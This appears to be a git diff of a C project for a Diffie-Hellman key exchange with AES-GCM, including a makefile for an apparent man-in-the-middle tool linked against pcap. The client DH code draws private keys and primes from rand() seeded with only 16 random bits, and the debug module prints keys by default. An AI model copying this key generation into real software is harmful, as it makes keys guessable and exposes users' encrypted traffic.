||||||
|
#define AES_H
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define AES_FULL_UNROLL
|
||||||
|
#define AES_SMALL_TABLES
|
||||||
|
#define AES_BLOCK_SIZE 16
|
||||||
|
|
||||||
|
#include "aes-common.h"
|
||||||
|
#include "aes-internal.h"
|
||||||
|
#include "aes-debug.h"
|
||||||
|
|
||||||
|
void * aes_encrypt_init(const aes_uchar *key, size_t len);
|
||||||
|
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
|
||||||
|
void aes_encrypt_deinit(void *ctx);
|
||||||
|
void * aes_decrypt_init(const aes_uchar *key, size_t len);
|
||||||
|
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
|
||||||
|
void aes_decrypt_deinit(void *ctx);
|
||||||
|
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
|
||||||
|
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
|
||||||
|
const aes_uchar *addr[], const size_t *len,
|
||||||
|
aes_uchar *mac);
|
||||||
|
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
|
||||||
|
aes_uchar *mac);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
|
||||||
|
aes_uchar *data, size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
|
||||||
|
const aes_uchar *nonce, size_t nonce_len,
|
||||||
|
const aes_uchar *hdr, size_t hdr_len,
|
||||||
|
aes_uchar *data, size_t data_len, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
|
||||||
|
const aes_uchar *nonce, size_t nonce_len,
|
||||||
|
const aes_uchar *hdr, size_t hdr_len,
|
||||||
|
aes_uchar *data, size_t data_len, const aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||||
|
size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
|
||||||
|
size_t data_len);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len,
|
||||||
|
aes_uchar *crypt, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
|
||||||
|
aes_uchar *plain);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
|
||||||
|
const aes_uchar *iv, size_t iv_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||||
|
size_t M, const aes_uchar *plain, size_t plain_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
|
||||||
|
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
|
||||||
|
size_t M, const aes_uchar *crypt, size_t crypt_len,
|
||||||
|
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
|
||||||
|
aes_uchar *plain);
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* AES_H */
|
8
MITM/makefile
Normal file
8
MITM/makefile
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
MITM:MITM.c aes-debug.o aes-gcm.o aes-internal.o
|
||||||
|
gcc MITM.c -o MITM aes-debug.o aes-gcm.o aes-internal.o -l gmp -l pcap
|
||||||
|
aes-debug.o:aes-debug.c
|
||||||
|
gcc -c aes-debug.c -o aes-debug.o
|
||||||
|
aes-gcm.o:aes-gcm.c
|
||||||
|
gcc -c aes-gcm.c -o aes-gcm.o
|
||||||
|
aes-internal.o:aes-internal.c
|
||||||
|
gcc -c aes-internal.c -o aes-internal.o
|
142
client/Diffie_hellman.c
Normal file
142
client/Diffie_hellman.c
Normal file
@ -0,0 +1,142 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <gmp.h>
|
||||||
|
#include <string.h>
|
||||||
|
typedef struct{
|
||||||
|
mpz_t prime;
|
||||||
|
mpz_t base;
|
||||||
|
mpz_t private_key;
|
||||||
|
mpz_t public_key;
|
||||||
|
mpz_t key; //g^(AB)
|
||||||
|
FILE *urand;
|
||||||
|
}Dh_key;
|
||||||
|
void generate_random(size_t sz, unsigned char* random_bytes,Dh_key* dhk)
|
||||||
|
{
|
||||||
|
unsigned int init_random = 0;
|
||||||
|
size_t i = 0;
|
||||||
|
|
||||||
|
if(0 == sz || NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for generate_random()\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
|
||||||
|
srand(init_random);
|
||||||
|
for(i = 0; i < sz; i++)
|
||||||
|
{
|
||||||
|
random_bytes[i] = rand();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void print_hex(unsigned char* value, unsigned int len){
|
||||||
|
//printf("%d:",len);
|
||||||
|
printf("exchange key:");
|
||||||
|
for(int i=0;i<len;i++)
|
||||||
|
printf("%02x ",value[i]);
|
||||||
|
puts("");
|
||||||
|
}
|
||||||
|
|
||||||
|
char* str2hex(char *hexStr){
|
||||||
|
int len=strlen(hexStr)/2;
|
||||||
|
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
|
||||||
|
memset(hexvalue,0,len);
|
||||||
|
for(int i=0;i<len;i++){
|
||||||
|
if(hexStr[i*2]<='9'){
|
||||||
|
hexvalue[i]=(hexStr[i*2]-'0')*16;
|
||||||
|
}else
|
||||||
|
hexvalue[i]=(hexStr[i*2]-87)*16; //aµÄÂëÊÇ97
|
||||||
|
|
||||||
|
if(hexStr[i*2+1]<='9'){
|
||||||
|
hexvalue[i]+=(hexStr[i*2+1]-'0');
|
||||||
|
}else
|
||||||
|
hexvalue[i]+=(hexStr[i*2+1]-87);
|
||||||
|
}
|
||||||
|
return hexvalue;
|
||||||
|
}
|
||||||
|
|
||||||
|
void generate_key(size_t sz, Dh_key* dhk)
|
||||||
|
{
|
||||||
|
unsigned char* random_bytes = NULL;
|
||||||
|
|
||||||
|
if(0 == sz || NULL == dhk->private_key)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for generate_key()\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||||
|
if(NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
generate_random(sz, random_bytes, dhk);
|
||||||
|
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||||
|
free(random_bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
void init_prime(size_t sz,Dh_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_t tmp;
|
||||||
|
mpz_t x;
|
||||||
|
unsigned char* random_bytes = NULL;
|
||||||
|
|
||||||
|
|
||||||
|
if(0 == sz)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Wrong params for init_prime()\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
mpz_init(tmp);
|
||||||
|
mpz_init(x);
|
||||||
|
|
||||||
|
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
|
||||||
|
if(NULL == random_bytes)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
while (1)
|
||||||
|
{
|
||||||
|
generate_random(sz, random_bytes,dhk);
|
||||||
|
random_bytes[sz-1] |= (unsigned char)0x40;
|
||||||
|
random_bytes[0] |= (unsigned char)1;
|
||||||
|
|
||||||
|
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
|
||||||
|
while (0 == mpz_probab_prime_p(tmp, 10))
|
||||||
|
{
|
||||||
|
mpz_add_ui(tmp, tmp, 2);
|
||||||
|
}
|
||||||
|
mpz_mul_ui(dhk->prime, tmp, 2);
|
||||||
|
mpz_add_ui(dhk->prime, dhk->prime, 1);
|
||||||
|
if (0 != mpz_probab_prime_p(dhk->prime, 10))
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(random_bytes);
|
||||||
|
|
||||||
|
mpz_set_ui(dhk->base, (unsigned long)2);
|
||||||
|
|
||||||
|
mpz_clear(tmp);
|
||||||
|
mpz_clear(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
void init_numbers(Dh_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_init(dhk->key);
|
||||||
|
mpz_init(dhk->prime);
|
||||||
|
mpz_init(dhk->base);
|
||||||
|
mpz_init(dhk->private_key);
|
||||||
|
mpz_init(dhk->public_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
void clear_numbers(Dh_key* dhk)
|
||||||
|
{
|
||||||
|
mpz_clear(dhk->key);
|
||||||
|
mpz_clear(dhk->prime);
|
||||||
|
mpz_clear(dhk->base);
|
||||||
|
mpz_clear(dhk->private_key);
|
||||||
|
mpz_clear(dhk->public_key);
|
||||||
|
}
|
246
client/aes-common.h
Normal file
246
client/aes-common.h
Normal file
@ -0,0 +1,246 @@
|
|||||||
|
#ifndef AES_COMMON_H
|
||||||
|
#define AES_COMMON_H
|
||||||
|
|
||||||
|
#include <ctype.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
|
||||||
|
/* integer types */
|
||||||
|
|
||||||
|
typedef unsigned char aes_uchar;
|
||||||
|
typedef unsigned short aes_ushort;
|
||||||
|
typedef unsigned int aes_uint;
|
||||||
|
typedef unsigned long long aes_ulong;
|
||||||
|
typedef signed char aes_char;
|
||||||
|
typedef signed short aes_short;
|
||||||
|
typedef signed int aes_int;
|
||||||
|
typedef signed long long aes_long;
|
||||||
|
|
||||||
|
|
||||||
|
/* byte order */
|
||||||
|
|
||||||
|
#if defined(__linux__) || defined(__GLIBC__)
|
||||||
|
#include <endian.h>
|
||||||
|
#include <byteswap.h>
|
||||||
|
#endif /* defined(__linux__) || defined(__GLIBC__) */
|
||||||
|
|
||||||
|
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
|
||||||
|
defined(__DragonFly__) || defined(__OpenBSD__)
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/endian.h>
|
||||||
|
#define __BYTE_ORDER _BYTE_ORDER
|
||||||
|
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
|
||||||
|
#define __BIG_ENDIAN _BIG_ENDIAN
|
||||||
|
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
|
||||||
|
* defined(__DragonFly__) || defined(__OpenBSD__) */
|
||||||
|
|
||||||
|
#ifdef sun
|
||||||
|
#include <sys/isa_defs.h>
|
||||||
|
#define __LITTLE_ENDIAN 1234
|
||||||
|
#define __BIG_ENDIAN 4321
|
||||||
|
#ifdef _LITTLE_ENDIAN
|
||||||
|
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||||
|
#else
|
||||||
|
#define __BYTE_ORDER __BIG_ENDIAN
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#define inline __inline
|
||||||
|
#define __LITTLE_ENDIAN 1234
|
||||||
|
#define __BIG_ENDIAN 4321
|
||||||
|
#define __BYTE_ORDER __LITTLE_ENDIAN
|
||||||
|
#endif /* _MSC_VER */
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <machine/endian.h>
|
||||||
|
#define __BYTE_ORDER BYTE_ORDER
|
||||||
|
#define __LITTLE_ENDIAN LITTLE_ENDIAN
|
||||||
|
#define __BIG_ENDIAN BIG_ENDIAN
|
||||||
|
#endif /* __APPLE__ */
|
||||||
|
|
||||||
|
|
||||||
|
/* byte swap macros */
|
||||||
|
|
||||||
|
#ifndef bswap_16
|
||||||
|
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
|
||||||
|
(((aes_ushort) (a) & 0x00ff) << 8))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef bswap_32
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define bswap_32(a) __builtin_bswap32(a)
|
||||||
|
#else
|
||||||
|
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
|
||||||
|
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
|
||||||
|
(((aes_uint) (a) & 0x0000ff00) << 8) | \
|
||||||
|
(((aes_uint) (a) & 0x000000ff) << 24))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef bswap_64
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define bswap_64(a) __builtin_bswap64(a)
|
||||||
|
#else
|
||||||
|
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
|
||||||
|
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
|
||||||
|
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
|
||||||
|
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
|
||||||
|
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
|
||||||
|
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
|
||||||
|
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
|
||||||
|
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#if __BYTE_ORDER == __LITTLE_ENDIAN
|
||||||
|
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
|
||||||
|
#define le_to_host16(n) (n)
|
||||||
|
#define host_to_le16(n) (n)
|
||||||
|
#define be_to_host16(n) bswap_16(n)
|
||||||
|
#define host_to_be16(n) bswap_16(n)
|
||||||
|
#define le_to_host32(n) (n)
|
||||||
|
#define host_to_le32(n) (n)
|
||||||
|
#define be_to_host32(n) bswap_32(n)
|
||||||
|
#define host_to_be32(n) bswap_32(n)
|
||||||
|
#define le_to_host64(n) (n)
|
||||||
|
#define host_to_le64(n) (n)
|
||||||
|
#define be_to_host64(n) bswap_64(n)
|
||||||
|
#define host_to_be64(n) bswap_64(n)
|
||||||
|
#elif __BYTE_ORDER == __BIG_ENDIAN
|
||||||
|
#define le_to_host16(n) bswap_16(n)
|
||||||
|
#define host_to_le16(n) bswap_16(n)
|
||||||
|
#define be_to_host16(n) (n)
|
||||||
|
#define host_to_be16(n) (n)
|
||||||
|
#define le_to_host32(n) bswap_32(n)
|
||||||
|
#define host_to_le32(n) bswap_32(n)
|
||||||
|
#define be_to_host32(n) (n)
|
||||||
|
#define host_to_be32(n) (n)
|
||||||
|
#define le_to_host64(n) bswap_64(n)
|
||||||
|
#define host_to_le64(n) bswap_64(n)
|
||||||
|
#define be_to_host64(n) (n)
|
||||||
|
#define host_to_be64(n) (n)
|
||||||
|
#else
|
||||||
|
#error Could not determine CPU byte order
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/* unaligned memory accesses */
|
||||||
|
|
||||||
|
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 8) | a[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
|
||||||
|
{
|
||||||
|
a[0] = val >> 8;
|
||||||
|
a[1] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[1] << 8) | a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
|
||||||
|
{
|
||||||
|
a[1] = val >> 8;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 16) | (a[1] << 8) | a[2];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[0] = (val >> 16) & 0xff;
|
||||||
|
a[1] = (val >> 8) & 0xff;
|
||||||
|
a[2] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[0] = (val >> 24) & 0xff;
|
||||||
|
a[1] = (val >> 16) & 0xff;
|
||||||
|
a[2] = (val >> 8) & 0xff;
|
||||||
|
a[3] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
|
||||||
|
{
|
||||||
|
a[3] = (val >> 24) & 0xff;
|
||||||
|
a[2] = (val >> 16) & 0xff;
|
||||||
|
a[1] = (val >> 8) & 0xff;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
|
||||||
|
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
|
||||||
|
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
|
||||||
|
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
|
||||||
|
{
|
||||||
|
a[0] = val >> 56;
|
||||||
|
a[1] = val >> 48;
|
||||||
|
a[2] = val >> 40;
|
||||||
|
a[3] = val >> 32;
|
||||||
|
a[4] = val >> 24;
|
||||||
|
a[5] = val >> 16;
|
||||||
|
a[6] = val >> 8;
|
||||||
|
a[7] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
|
||||||
|
{
|
||||||
|
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
|
||||||
|
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
|
||||||
|
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
|
||||||
|
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
|
||||||
|
{
|
||||||
|
a[7] = val >> 56;
|
||||||
|
a[6] = val >> 48;
|
||||||
|
a[5] = val >> 40;
|
||||||
|
a[4] = val >> 32;
|
||||||
|
a[3] = val >> 24;
|
||||||
|
a[2] = val >> 16;
|
||||||
|
a[1] = val >> 8;
|
||||||
|
a[0] = val & 0xff;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/* function attribute macros */
|
||||||
|
|
||||||
|
#ifndef AES_WARN_UNUSED_RESULT
|
||||||
|
#if defined __GNUC__
|
||||||
|
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
|
||||||
|
#else
|
||||||
|
#define AES_WARN_UNUSED_RESULT
|
||||||
|
#endif /* __GNUC__ */
|
||||||
|
#endif /* AES_WARN_UNUSED_RESULT */
|
||||||
|
|
||||||
|
#endif /* AES_COMMON_H */
|
166
client/aes-debug.c
Normal file
166
client/aes-debug.c
Normal file
@ -0,0 +1,166 @@
|
|||||||
|
#define AES_DEBUG
|
||||||
|
|
||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
int aes_debug_level = MSG_EXCESSIVE;
|
||||||
|
int aes_debug_show_keys = 1;
|
||||||
|
int aes_debug_timestamp = 1;
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||||
|
|
||||||
|
#include <time.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
|
||||||
|
|
||||||
|
int gettimeofday(struct timeval *tv, struct timezone *tz)
|
||||||
|
{
|
||||||
|
FILETIME ft;
|
||||||
|
__int64 tmpres = 0;
|
||||||
|
TIME_ZONE_INFORMATION tz_winapi;
|
||||||
|
int ret = 0;
|
||||||
|
|
||||||
|
ZeroMemory(&ft,sizeof(ft));
|
||||||
|
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
|
||||||
|
|
||||||
|
GetSystemTimeAsFileTime(&ft);
|
||||||
|
|
||||||
|
tmpres = ft.dwHighDateTime;
|
||||||
|
tmpres <<= 32;
|
||||||
|
tmpres |= ft.dwLowDateTime;
|
||||||
|
|
||||||
|
/*converting file time to unix epoch*/
|
||||||
|
tmpres /= 10; /*convert into microseconds*/
|
||||||
|
tmpres -= DELTA_EPOCH_IN_MICROSECS;
|
||||||
|
tv->tv_sec = (__int32)(tmpres*0.000001);
|
||||||
|
tv->tv_usec =(tmpres%1000000);
|
||||||
|
|
||||||
|
if (tz) {
|
||||||
|
ret = GetTimeZoneInformation(&tz_winapi);
|
||||||
|
tz->tz_dsttime = (ret == 2) ? true : false;
|
||||||
|
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
void aes_debug_print_timestamp(void)
|
||||||
|
{
|
||||||
|
struct timeval tv;
|
||||||
|
|
||||||
|
if (!aes_debug_timestamp)
|
||||||
|
return;
|
||||||
|
|
||||||
|
gettimeofday(&tv, NULL);
|
||||||
|
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_printf(int level, const char *fmt, ...)
|
||||||
|
{
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
va_start(ap, fmt);
|
||||||
|
if (level >= aes_debug_level) {
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
vprintf(fmt, ap);
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
va_end(ap);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
|
||||||
|
size_t len, int show)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
if (level < aes_debug_level)
|
||||||
|
return;
|
||||||
|
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
|
||||||
|
if (buf == NULL) {
|
||||||
|
printf(" [NULL]");
|
||||||
|
} else if (show) {
|
||||||
|
for (i = 0; i < len; i++)
|
||||||
|
printf(" %02x", buf[i]);
|
||||||
|
} else {
|
||||||
|
printf(" [REDACTED]");
|
||||||
|
}
|
||||||
|
printf("\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump(level, title, buf, len, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len, int show)
|
||||||
|
{
|
||||||
|
size_t i, llen;
|
||||||
|
const aes_uchar *pos = buf;
|
||||||
|
const size_t line_len = 16;
|
||||||
|
|
||||||
|
if (level < aes_debug_level)
|
||||||
|
return;
|
||||||
|
|
||||||
|
aes_debug_print_timestamp();
|
||||||
|
if (!show) {
|
||||||
|
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
|
||||||
|
title, (unsigned long) len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
if (buf == NULL) {
|
||||||
|
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
|
||||||
|
title, (unsigned long) len);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
|
||||||
|
while (len) {
|
||||||
|
llen = len > line_len ? line_len : len;
|
||||||
|
printf(" ");
|
||||||
|
for (i = 0; i < llen; i++)
|
||||||
|
printf(" %02x", pos[i]);
|
||||||
|
for (i = llen; i < line_len; i++)
|
||||||
|
printf(" ");
|
||||||
|
printf(" ");
|
||||||
|
for (i = 0; i < llen; i++) {
|
||||||
|
if (isprint(pos[i]))
|
||||||
|
printf("%c", pos[i]);
|
||||||
|
else
|
||||||
|
printf("_");
|
||||||
|
}
|
||||||
|
for (i = llen; i < line_len; i++)
|
||||||
|
printf(" ");
|
||||||
|
printf("\n");
|
||||||
|
pos += llen;
|
||||||
|
len -= llen;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_ascii(int level, const char *title, const void *buf,
|
||||||
|
size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump_ascii(level, title, buf, len, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
|
||||||
|
size_t len)
|
||||||
|
{
|
||||||
|
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
|
||||||
|
}
|
60
client/aes-debug.h
Normal file
60
client/aes-debug.h
Normal file
@ -0,0 +1,60 @@
|
|||||||
|
#ifndef AES_DEBUG_H
|
||||||
|
#define AES_DEBUG_H
|
||||||
|
|
||||||
|
/* gettimeofday */
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
|
||||||
|
|
||||||
|
struct timezone
|
||||||
|
{
|
||||||
|
int tz_minuteswest; /* minutes west of Greenwich */
|
||||||
|
int tz_dsttime; /* type of dst correction */
|
||||||
|
};
|
||||||
|
|
||||||
|
struct timeval {
|
||||||
|
int tv_sec;
|
||||||
|
int tv_usec;
|
||||||
|
};
|
||||||
|
|
||||||
|
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
|
||||||
|
|
||||||
|
#else
|
||||||
|
#include <sys/time.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* Debugging function - conditional printf and hex dump */
|
||||||
|
|
||||||
|
enum {
|
||||||
|
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
|
||||||
|
};
|
||||||
|
|
||||||
|
extern int aes_debug_level;
|
||||||
|
extern int aes_debug_show_keys;
|
||||||
|
extern int aes_debug_timestamp;
|
||||||
|
|
||||||
|
#ifndef AES_DEBUG
|
||||||
|
|
||||||
|
#define aes_debug_print_timestamp() do { } while (0)
|
||||||
|
#define aes_printf(args...) do { } while (0)
|
||||||
|
#define aes_hexdump(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_buf(l,t,b) do { } while (0)
|
||||||
|
#define aes_hexdump_key(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
|
||||||
|
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
|
||||||
|
#define aes_dbg(args...) do { } while (0)
|
||||||
|
|
||||||
|
#else
|
||||||
|
